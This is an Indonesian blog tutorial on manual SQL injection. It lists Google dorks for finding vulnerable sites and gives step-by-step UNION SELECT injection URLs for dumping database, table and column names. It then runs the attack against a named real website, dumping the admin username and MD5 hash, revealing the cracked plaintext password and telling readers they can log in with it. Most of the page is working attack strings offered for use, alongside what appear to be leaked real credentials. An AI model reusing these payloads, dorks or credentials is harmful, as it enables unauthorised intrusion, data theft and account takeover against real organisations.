Learning to Hack, Hacking to Learn.

Tutorial Lengkap SQL Injection Secara Manual

Tutorial Lengkap SQL Injection Secara Manual


SQLi (SQL Injection atau Structured Query Language Injection) adalah langkah pertama untuk hacking website. Hal ini mudah dilakukan dan merupakan titik awal yang bagus. Sayangnya tutorial yang sedikit rumit sehingga itulah sebabnya ane menulis ini. SQLi pada dasarnya hanyalah suntikan query ke dalam database atau menggunakan query untuk mendapatkan bypass otorisasi sebagai admin.

Cara Mencari Inject
Mencari SQLI sangat mudah, semua yang perlu Anda lakukan adalah Googling . Hal pertama yang perlu Anda lakukan adalah menemukan beberapa dorks

Contoh:
inurl:trainers.php?id=
inurl:buy.php?category=
inurl:article.php?ID=
inurl:play_old.php?id=
inurl:declaration_more.php?decl_id=
inurl:pageid=
inurl:games.php?id=
inurl:page.php?file=
inurl:newsDetail.php?id=
inurl:gallery.php?id=
inurl:article.php?id=
inurl:show.php?id=
inurl:staff_id=
inurl:newsitem.php?num=
inurl:readnews.php?id=
inurl:forum_bds.php?num=
inurl:game.php?id=
inurl:view_product.php?id=
inurl:newsone.php?id=
inurl:sw_comment.php?id=
inurl:news.php?id=
inurl:event.php?id=
inurl:product-item.php?id=
inurl:news.php?id=
inurl:index.php?id=
inurl:faq2.php?id=
inurl:show_an.php?id=
inurl:preview.php?id=
inurl:download.php?id=
inurl:main.php?id=
inurl:review.php?id=
inurl:read.php?id=
"id=" & intext:"Warning: mysql_fetch_assoc()
"id=" & intext:"Warning: mysql_fetch_array()
"id=" & intext:"Warning: mysql_num_rows()


Untuk mendapatkan dork yang lebih lengkap, silahkan dicari di Google, atau bisa juga Anda kembanngkan sendiri

PART 1

Pilih salah satu dorks dan menambahkan inurl: di awasl dan sisipkan
ke google. Pilih salah satu situs yang akan dijadikan target dari google dan cek 1-1.

Sebagai contoh url dari halaman Anda berada mungkin terlihat seperti ini

http://www.example.com/index.php?id=3

Untuk memeriksa adanya Bug MySQL tinggal tambahin kutip satu ( ' ) di akhir URL
contoh

http://www.example.com/index.php?id=3'

Tekan enter, jika tidak terdapat error, coba cari contoh lain sampai Anda mendapatkan ERROR

Mendapatkan Jumlah Kolom
Setelah Anda menemukan situs yg udah di siapin (terdapat error), langkah pertama yang perlu Anda ambil adalah untuk menemukan jumlah kolom. Cara termudah untuk melakukannya adalah
menggunakan pernyataan “order by”. Yang harus dilakukan adalah meletakkan order by (angka) - pada akhir url Anda. Jadi seharusnya terlihat seperti ini.


http://www.example.com/index.php?id=3 order by 8--

Jika belum terdapat error, coba angka tersebut secara berurutan

Misal : order by 8 1-- , order by 8 2--, dan seterusnya sampai benar-benar error

Jika pada order by 8– kamu mendapatkan sebuah error. Ini membuktikan bahwa table database hanya memiliki 7 kolom, ini dibuktikan bahwa ketika anda melakukan order by lebih dari 7, akan selalu error. Jika kamu memiliki ingatan yang kurang baik, silahkan buka notepad & catat setiap kolom-kolom yang anda temukan.

Menemukan Kolom Yang Dapat di Akses

Setelah kita mengetahui kolom yang ada di table database, sekarang kita akan mencari informasi & data apa yang bisa diambil dari sana.

Kita melakukan hal tersebut dengan menggunakan fungsi “UNION” “SELECT” dan NOMOR KOLOM. Kita selipkan seluruhnya dalam URL, seperti contoh berikut:

http://www.example.com/index.php?id=-3+UNION+SELECT+1,2,3,4,5,6,7--

Jangan lupa untuk menyisipkan tanda “-” sebelum code dimulai, jadi sebagai contoh di atas kita selipkan tanda “-” didepan angka “3“, nah setelah semua dilakukan, maka akan muncul table yang memiliki isi didalamnya. Catatlah nomor kolom table yang memiliki informasi di dalam database tersebut. Kalo lupa, simpan dulu di notepad.

Mencari Versi Database MySQL
Sebelum kita melanjutkan hal ini, maka yang perlu kita ketahui adalah versi dari database.
URL nya adalah sebagai berikut:


http://www.example.com/index.php?id=-3+UNION+SELECT+1,2,3,4,5,6,7--

Kita ganti angka “1” dengan  “@@version” untuk mengetahui informasi versi database, berikut contohnya:

http://www.example.com/index.php?id=-3+UNION+SELECT+@@version,2,3,4,5,6,7--

Tekan enter, maka anda akan menemukan informasi database yang digunakan.
Hal ini biasanya bekerja pada versi database 5.* keatas.

Mencari Nama Database

Selanjutkan kita akan inject website untuk menemukan database names. Kita lakukan hal ini dengan mengganti “@@version
dengan “group_concat(schema_name)” dan juga ditambahkan “+ from+information_schema.schemata–” sesudah nomor kolom terakhir di table database.

Seperti ini contoh URLnya:

http://www.example.com/index.php?id=-3+UNION+SELECT+group_concat(schema_name),2,3,4,5,6,7+ from+information_schema.schemata--

Hal tersebut akan menunjukkan daftar nama database. Sekarang untuk menemukan database mana yang saat ini dipakai adalah dengan mengganti “group_concat(schema_name)” dengan concat(database()) dan hapus “+ from+information_schema.schemata

Jadi URL nya akan menjadi seperti ini:

http://www.example.com/index.php?id=-3+UNION+SELECT+concat(database()),2,3,4,5,6,7--

Selamat, anda telah mendapatkan informasi database yang saat ini digunakan.

Menemukan Nama Table

Untuk mengetahui nama table yang digunakan dalam database, anda harus mengganti “concat(database())” dengan group_concat(table_name) dan tambahkan “from information_schema.tables where table_schema=database()” diantara nomor awal dan “” hapus juga tanda “+” dari “union select“.

Urlnya akan tampak seperti berikut:

http://www.example.com/index.php?id=-3 union select group_concat(table_name),2,3,4,5,6,7 from information_schema.tables where table_schema=database()--

Nah, hal tersebut akan menampilkan nama table yang digunakan di database.

Menemukan Nama Kolom
Lakukan dengan hanya merubah “table_name” ke “column_name” dan “information_schema.tables” ke “information_schema.columns.

Url akan tampak seperti ini:

http://www.example.com/index.php?id=-3 union select group_concat(column_name),2,3,4,5,6,7 from information_schema.columns where table_schema=database()--

Hal tersebut akan memunculkan nama table.

Misalkan nama kolom seperti berikut:
admin_username
admin_password

Mengambil Informasi Database
Sekarang kita sudah mengetahui “database name, table names, dan colomn names, kita bisa menyatukannya bersama-sama dan mengeluarkan informasi yang ada di sana, kita lakukan dengan contoh berikut:

http://www.example.com/index.php?id=-3 union select 1,group_concat(Columnname,0x3a,columnname,0x3a),2,3,4,5,6,7 from databasename.tablename--

Sekarang ganti columnname” dengan kolom yang anda mau ambil informasinta. “0x3a” akan membuat jeda diantara informasi yang anda dapatkan dari masing-masing colom. Jangan lupa juga untuk merubah “databasename.tablename” dengan database dan nama tabel dimana kolom ada di database dan tabel tersebut.

Sebagai contoh:

http://www.example.com/index.php?id=-3 union select 1,group_concat(admin_username,0x3a,admin_password,0x3a),2,3,4,5,6,7 from whippit.t_admin--

Sekarang anda akan mendapatkan informasi username & database

Credit: Madun & Diperbaiki Oleh BinusHacker Team


PART 2

Mari kita coba praktekkan cara diatas!

Sebagai contoh kita mendapatkan target sebagai berikut:

http://www.cocobod.gh/news_details.php?id=30

Sekarang kita akan melakukan pengecekan apakah website tersebut memiliki vulnerability dengan menambahkan tanda di akhir URL, contohnya sebagai berikut:


http://www.cocobod.gh/news_details.php?id=30'

Setelah kita mengetahui ada vulnerability, maka langkah selanjutkan adalah kita harus mengetahui berapa jumlah kolom yang ada di table tersebut.

Kita akan mengetahuinya sampai ada informasi “Unknown Column“.

Lakukan pengecekan dengan menggunakan perintah “order by“.
 
Kita akan mencoba dari 1……..tak hingga, jadi bisa saja 1,2,3,4,5,6,7,dst.

Kebetulah dalam target ini hanya terdapat 7 kolom dalam table yang ada di database,

Langkah pengetesannya adalah:
http://www.cocobod.gh/news_details.php?id=30 order by 1-- >> no error
http://www.cocobod.gh/news_details.php?id=30 order by 2-- >> no error
http://www.cocobod.gh/news_details.php?id=30 order by 3-- >> no error
http://www.cocobod.gh/news_details.php?id=30 order by 4-- >> no error
http://www.cocobod.gh/news_details.php?id=30 order by 5-- >> no error
http://www.cocobod.gh/news_details.php?id=30 order by 6-- >> no error
http://www.cocobod.gh/news_details.php?id=30 order by 7-- >> no error
http://www.cocobod.gh/news_details.php?id=30 order by 8-- >> Unknown column



http://www.cocobod.gh/news_details.php?id=30 order by 8-- >> Unknown column

Hal tersebut membuktikan bahwa tidak ada kolom ke 8 dalam table tersebut, jadi cuman ada 7 kolom.

Langkah selanjutnya adalah, mencari kolom yang dapat di akses!

Kita sudah mengetahui, jumlah kolom adalah 7, kita gunakan perintah “UNION SELECT number,of,columns–” untuk mengatahui kolom mana yang dapat di akses:

http://www.cocobod.gh/news_details.php?id=30 union select 1,2,3,4,5,6,7--



Muncul 6, 2, 3 kan? Kolom dalam tersebutlah yang bisa anda akses dan anda ambil informasinya.

Mencari Informasi Versi Database


SQL Injection bekerja baik pada versi 5.* ke atas, untuk mendapatkan informasi database version, kita masukkan saja “@@version”, pada kolom dimana saja yang bisa dipakai.

Misalkan kolom “6″ kita ganti dengan “@@version

http://www.cocobod.gh/news_details.php?id=30 union select 1,2,3,4,5,@@version,7--





Akan muncul versi database 5.1.39, ini berarti database bisa di inject


Mengetahui Nama Database


Langsung ajah kita replace kolom yang tadi digunakan “6,2,3″ dibagian mana saja, kita gunakan kolom “6″, kita ganti dengan code berikut “group_concat(schema_name)”, dan jangan lupa tambahkan “from information_schema.schemata–” sesudah kolom terakhir. 

http://www.cocobod.gh/news_details.php?id=30 union select 1,2,3,4,5,group_concat(schema_name),7 from information_schema.schemata--

Mengatahui Database Yang Dipakai
Langsung saja ganti “group_concat(schema_name)” dengan “concat(database())” seperti contoh berikut:

http://www.cocobod.gh/news_details.php?id=30 union select 1,2,3,4,5,concat(database()),7 from information_schema.schemata--


Selamat, anda telah mengetahui database yang dipakai saat ini adalah “cocobod_gh“.

Mengetahui Nama Tabel
Langsung aja ganti “group_concat(table_name)” dan tambahkan “from information_schema.tables where table_schema=database()–” setelah kolom terakhir.

http://www.cocobod.gh/news_details.php?id=30 union select 1,2,3,4,5,group_concat(table_name),7 from information_schema.tables where table_schema=database()--

Mengatahui Nama Kolom

Untuk mengetahui nama kolom, kita gunakan query berikut:
group_concat(column_name)
from information_schema.columns where table_schema=database()–


http://www.cocobod.gh/news_details.php?id=30 union select 1,2,3,4,5,group_concat(column_name),7 from information_schema.columns where table_schema=database()--

Mengambil Informasi Yang Ada Di Dalam Kolom

Ini adalah step akhir, dimana anda akan mendapatkan informasi mengenai isi dari kolom yang berada dalam table di database.

Eksekusi perintah berikut:

http://www.site.com/news_details.php?id=30 union select 1,2,3,4,5,group_concat(columusername,0x3a,columnpassword),7 from currentdb.tableused--

Exploit akan menjadi seperti berikut :

http://www.cocobod.gh/news_details.php?id=30 union select 1,2,3,4,5,group_concat(username,0x3a,password),7 from cocobod_gh.coc_admin--

Dari informasi di atas kita mendapatkan data: “comaster:2c39e3769d300f7e23f8a9e1e21773e7“.

Silahkan cek ke decrypter untuk mendecrypt password : MD5 Decrypter

Paste MD5 password yang tadi yaitu: “2c39e3769d300f7e23f8a9e1e21773e7

Anda akan medapatkan hasil seperti dibawah:

comaster:2c39e3769d300f7e23f8a9e1e21773e7
comaster:cocoadmin4682

username : comaster
password : cocoadmin4682

Selamat, anda sudah bisa login ke page dengan user & password di atas!


Credit: Easy|Hack & Revision By BinusHacker Team
bisa hack

Author :

Saya hanyalah orang biasa yang berbagi dari apa yang saya dapat dan saya pelajari. Jangan gunakan tekhnik hacking untuk melakukan hal yang bersifat merusak. Tapi gunakanlah untuk hal yang positif sebagai ilmu pembelajaran. Terimakasih atas kunjungannya brother yang baru saja membaca artikel berjudul Tutorial Lengkap SQL Injection Secara Manual.
Share Artikel

Artikel Terkait

2 comments

from cocobod_gh.coc_admin-- (skrip( coc ) didapat dari mananya)

masih agak bingung caranya yang terakhir

- Tuangkan saran maupun kritik dan jandan meninggalkan Spam
- Berkomentarlah dengan baik sesuai dengan konten yang tersedia
- Dilarang jual obat kuat disini